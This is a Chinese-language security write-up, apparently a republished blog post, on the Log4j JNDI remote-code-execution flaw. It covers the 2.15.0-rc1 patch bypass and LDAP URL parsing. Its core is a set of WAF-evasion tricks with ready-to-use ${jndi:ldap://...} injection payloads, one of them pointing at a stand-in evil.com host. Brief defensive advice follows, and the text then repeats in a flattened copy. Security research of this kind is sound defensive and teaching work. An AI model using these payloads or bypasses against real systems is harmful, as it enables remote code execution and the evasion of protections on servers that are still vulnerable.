我是如何跟踪log4j漏洞原理及发现绕WAF的tips
字数 1112 2025-08-24 23:51:15

Log4j漏洞原理分析与WAF绕过技巧

一、漏洞背景

Log4j <=2.14.1版本存在远程代码执行(RCE)漏洞,该漏洞源于Log4j对消息中的lookup表达式自动格式化处理,且JNDI操作未做充分限制。

二、漏洞产生原理分析

2.1 漏洞核心机制

  1. 自动解析机制:Log4j会对字符串中的${}表达式自动解析
  2. JNDI无限制:漏洞版本中JndiManager#lookup方法直接通过this.context.lookup(name)执行JNDI操作,无任何过滤或限制

2.2 关键代码分析

org.apache.logging.log4j.core.net.JndiManager.java中:

// 漏洞版本
public Object lookup(String name) throws NamingException {
    return this.context.lookup(name); // 直接执行JNDI操作
}

// 修复版本
public Object lookup(String name) throws NamingException {
    // 增加了对JNDI服务器和类的限制
    if (!allowedProtocols.contains(...)) {
        return null;
    }
    // ...
}

三、2.15.0-rc1版本的绕过分析

3.1 绕过原理

2.15.0-rc1版本修复不彻底,在JndiManager#lookup方法中:

try {
    URI uri = new URI(name); // 尝试将name解析为URI
    // ... 检查协议等
} catch (URISyntaxException ex) {
    // 修复前:仅注释,继续执行JNDI操作
    // 修复后:添加了记录日志和返回null的代码
}

绕过关键:当new URI(name)抛出异常但name仍能被JNDI正常识别时,程序会继续执行this.context.lookup(name)

3.2 触发URI解析错误的字符

URI构造函数对以下字符不支持:

  • 反引号 `
  • 空格
  • 尖括号 < >

示例payload:

${jndi:ldap://192.168.1.1`/a}
${jndi:ldap://192.168.1.1 /a}
${jndi:ldap://192.168.1.1>/a}

四、LDAP协议深度分析与WAF绕过技巧

4.1 LDAP URL解析机制

com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN方法解析流程:

  1. 提取scheme(ldap/ldaps)
  2. 检查是否存在://
  3. 解析host和port:
    • 支持[ip]格式
    • port解析失败时默认为-1
  4. 解析path和query

4.2 LDAP上下文创建机制

LdapCtx构造函数关键逻辑:

this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";
if (this.hostname.charAt(0) == '[') {
    this.hostname = this.hostname.substring(1, this.hostname.length() - 1);
}
if (var3 > 0) {
    this.port_number = var3;
} else {
    this.port_number = this.useSsl ? 636 : 389;
}

4.3 WAF绕过技巧

技巧1:省略端口

${jndi:ldap:192.168.1.1/a}
${jndi:ldap:192.168.1.1:/a}

注意:此时LDAP服务需运行在389端口

技巧2:IP包裹

${jndi:ldap://[192.168.34.96]/a}
${jndi:ldap://[192.168.34.96]]/a}

技巧3:省略IP和端口

${jndi:ldap:/a}

相当于ldap://localhost:389/a

技巧4:协议混淆

${jndi:${lower:l}${lower:d}ap://...}

技巧5:利用URI解析特性

${jndi:ldap://127.0.0.1#.evil.com/a}
${jndi:ldap://127.1/xxx}

五、防御建议

  1. 升级到最新安全版本
  2. 禁用JNDI查找:设置log4j2.formatMsgNoLookups=true
  3. 删除JndiLookup类
  4. 网络层限制出向LDAP/RMI连接
  5. WAF规则应覆盖各种变形payload

六、总结

Log4j漏洞的核心在于:

  1. 自动解析${}表达式
  2. JNDI操作无充分限制
  3. URI解析与JNDI解析不一致性导致的绕过

深入理解LDAP协议解析机制是发现更多绕过方式的关键,防御方应从多层面进行防护,而不仅依赖单一防御措施。

Log4j漏洞原理分析与WAF绕过技巧 一、漏洞背景 Log4j <=2.14.1版本存在远程代码执行(RCE)漏洞,该漏洞源于Log4j对消息中的lookup表达式自动格式化处理,且JNDI操作未做充分限制。 二、漏洞产生原理分析 2.1 漏洞核心机制 自动解析机制 :Log4j会对字符串中的 ${} 表达式自动解析 JNDI无限制 :漏洞版本中 JndiManager#lookup 方法直接通过 this.context.lookup(name) 执行JNDI操作,无任何过滤或限制 2.2 关键代码分析 在 org.apache.logging.log4j.core.net.JndiManager.java 中: 三、2.15.0-rc1版本的绕过分析 3.1 绕过原理 2.15.0-rc1版本修复不彻底,在 JndiManager#lookup 方法中: 绕过关键 :当 new URI(name) 抛出异常但 name 仍能被JNDI正常识别时,程序会继续执行 this.context.lookup(name) 。 3.2 触发URI解析错误的字符 URI构造函数对以下字符不支持: 反引号 ` 空格 尖括号 < > 示例payload: 四、LDAP协议深度分析与WAF绕过技巧 4.1 LDAP URL解析机制 com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN 方法解析流程: 提取scheme(ldap/ldaps) 检查是否存在 :// 解析host和port: 支持 [ip] 格式 port解析失败时默认为-1 解析path和query 4.2 LDAP上下文创建机制 LdapCtx 构造函数关键逻辑: 4.3 WAF绕过技巧 技巧1:省略端口 注意:此时LDAP服务需运行在389端口 技巧2:IP包裹 技巧3:省略IP和端口 相当于 ldap://localhost:389/a 技巧4:协议混淆 技巧5:利用URI解析特性 五、防御建议 升级到最新安全版本 禁用JNDI查找:设置 log4j2.formatMsgNoLookups=true 删除JndiLookup类 网络层限制出向LDAP/RMI连接 WAF规则应覆盖各种变形payload 六、总结 Log4j漏洞的核心在于: 自动解析 ${} 表达式 JNDI操作无充分限制 URI解析与JNDI解析不一致性导致的绕过 深入理解LDAP协议解析机制是发现更多绕过方式的关键,防御方应从多层面进行防护,而不仅依赖单一防御措施。